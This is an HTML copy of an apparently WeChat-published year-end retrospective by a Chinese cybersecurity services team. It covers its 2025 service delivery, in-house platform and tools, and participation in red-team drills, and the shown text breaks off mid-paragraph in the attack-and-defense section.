      <description>2026，新岁景明，步履坚定，昭昭如愿，岁岁安澜。</description>
      <content:encoded><![CDATA[<p>原创 <span>重剑无锋</span> <span>2025-12-31 15:03</span> <span style="display: inline-block;">山东</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=41f87800&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FrTicZ9Hibb6RWFLtKFEDrw4TKRkzEibmC2bkmnLetg25YEP2cs3Q1icib3nibVtfOhqqQGarouiaYJlzkicPM4SLib7oYhQ%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>2026，新岁景明，步履坚定，昭昭如愿，岁岁安澜。</p>
  <div data-mpa-template="t" mpa-from-tpl="t" style="margin-bottom: 0px;"><div data-mid="" mpa-from-tpl="t" style="padding-right: 10px;padding-left: 10px;width: 578px;"><div data-mid="" mpa-from-tpl="t" style="width: 558px;display: flex;flex-direction: column;"><div data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;font-family: Optima, PingFangSC-light, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><p data-tool="mdnice编辑器" style="margin: 30px 0px 15px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow: unset;padding: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="" style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding: 0px 0px 0px 10px;border-style: none none none solid;border-width: 1px 1px 1px 5px;border-color: rgb(0, 0, 0) rgb(0, 0, 0) rgb(0, 0, 0) rgb(248, 57, 41);border-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position: 0% 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin: 0px;overflow: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;">序言</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">日月交替，斗转星移。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">倏忽间，2025年倒计时的钟声已经敲响。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">站在年末岁尾，让我们为2025年画上一个句号，可能不太圆满，但仍期冀这一年来所有的奔赴都有意义。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2025 年，没有喧哗的转折，也没有刻意的铺陈，有的只是一个又一个项目的顺利推进，一次又一次关键任务的如期完成，以及在不同场景中持续发挥价值的专业支撑。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">如果一定要用一句话形容这一年，或许是：</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">在被需要的地方，我们一直都在。</span></strong></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">年度概览</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2025 年，网络安全行业持续演进，技术与业务的融合不断加深，对专业能力、交付质量和协同效率提出了更高要求。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在这样的背景下，我们持续完成了</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">数量稳步增长的项目交付</span></strong><span leaf="">，在多条业务线上保持了稳定输出，逐步形成了更加成熟、高效的协作节奏。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">让有限的资源发挥出更高的效率，让工作重心始终聚焦在“把事情做好”这件事上。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这一年，我们更加确信： </span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">稳定、可靠、可持续的交付能力，是团队最重要的竞争力。</span></strong></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.9946967185946304" data-s="300,640" data-type="png" data-w="3017" data-croporisrc="https://mmbiz.qpic.cn/mmbiz_png/rTicZ9Hibb6RWFLtKFEDrw4TKRkzEibmC2bXlntwvNA3Kszuprqx5ibBUV8NB2MnRQmUDJJiczjlpzWeN0PBCU0JibzA/0?wx_fmt=png&amp;from=appmsg" data-cropselx2="538" data-cropsely2="535" data-imgfileid="100038256" src="https://wechat2rss.xlab.app/img-proxy/?k=b333bf88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FrTicZ9Hibb6RWFLtKFEDrw4TKRkzEibmC2bXlntwvNA3Kszuprqx5ibBUV8NB2MnRQmUDJJiczjlpzWeN0PBCU0JibzA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">安全服务：不声张，更不能掉链子</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">安全服务始终是我们的核心工作，也是贯穿全年的主线任务。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2025 年，我们在项目规模持续扩展的同时，始终坚持以</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">交付质量与服务稳定性</span></strong><span leaf="">为首要目标，不断提升整体执行效率与专业水准。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">从现场实施到远程支撑，从方案编制到报告输出，团队在不同角色之间灵活切换，形成了高度协同的工作模式。专业、专注、可靠，成为我们服务过程中最鲜明的底色。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">围绕“零事故、零通报、零差评”的服务目标，我们持续完善流程、优化预判机制，通过不断复盘与改进，让整体交付更加稳健、可控。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">有人说，优秀的安全团队是没有存在感的。 或许正因为如此，我们始终更在意：</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">在看不见的地方，把事情一次次做对。</span></strong></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">平台与工具：在实践中持续进化</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2025 年，对我们来说是平台真正“经受现实检验”的一年。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2024年的时候，我们开发的潮擎智能化服务平台客户端在公司内部小范围试用。2025年客户端已经在公司内全面使用，完成了对商用平台的取代和数据平稳迁移，开发小组在完善客户端的同时又从零开始开发服务端，目前服务端也已经进入小范围试用阶段。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这不是一个“一蹴而就”的过程，而是一个不断修正、不断打磨的过程，伴</span><span leaf="" style="flex-direction: column;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);font-family: Optima, PingFangSC-light, serif;word-spacing: 0em;word-break: break-word;overflow-wrap: break-word;color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;"><span textstyle="" style="font-weight: normal;">随着大量真实项目的数据流转、问题反馈和使用习惯修正，</span></span><strong style="flex-direction: column;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);font-family: Optima, PingFangSC-light, serif;word-spacing: 0em;word-break: break-word;overflow-wrap: break-word;color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;"><span leaf=""><span textstyle="" style="font-weight: normal;">平台历经15次版本升级，响应Bug/需求260余项，这让平台从“能用”，逐步走向“可依赖”。</span></span></strong></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">与此同时，无影、Tscan、扶摇等内部工具也在持续打磨中不断成熟，</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">让思路沉淀为工具，让工具反哺效率</span></strong><span leaf="">，这给我们的项目实施和应急支撑带来了很大的助力。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin: 0px;padding: 8px 0px;"><span leaf="" style="color: rgb(248, 57, 41);font-weight: bold;background: none 0% 0% / auto no-repeat scroll padding-box border-box rgba(0, 0, 0, 0);width: auto;height: auto;margin: 0px;padding: 0px;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 0px;">让工具更自动化和智能化，让人更专注化和精细化，是我们始终坚持的方向。</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;flex-direction: unset;float: unset;height: auto;justify-content: unset;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(34, 34, 34);line-height: 1.8em;letter-spacing: 0em;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: solid;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 5px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(248, 57, 41);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: unset;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">攻防与应急：不闪耀，但持续在场</span></span></h2><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">2025 年，我们持续参与多项省市级攻防演练与实战任务，在不同场景下积累实战经验、提升综合能力。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在0day与高级社工成为“破局利器”的今天，我们的积累并不占优，这并非妄自菲薄，而是对现实清醒的认知。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">面对不断演进的攻防技术体系，我们选择了一种更务实的态度：在实战中校准认知，在演练中补齐短板，让团队能力始终保持在线状态。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">与之相比，我们在 应急技术支撑领域的价值则更加凸显且不可替代。从配合监管部门的专项行动，到保障重大活动期间的网络清朗，从一份份及时的漏洞报送，到一篇篇深入的地域性安全态势分析，我们的工作渗透在区域网络安全的毛细血管中。</span></p><p data-tool="mdnice编辑器" style="color: rgb(53, 53, 53);font-size: 16px;line-height: 1.8em;letter-spacing: 0.04em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">这种支撑，靠的不是单点的技术炫技，而是对政策的理解、对流程的熟悉、对责任的敬畏，</span><strong style="color: rgb(248, 57, 41);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 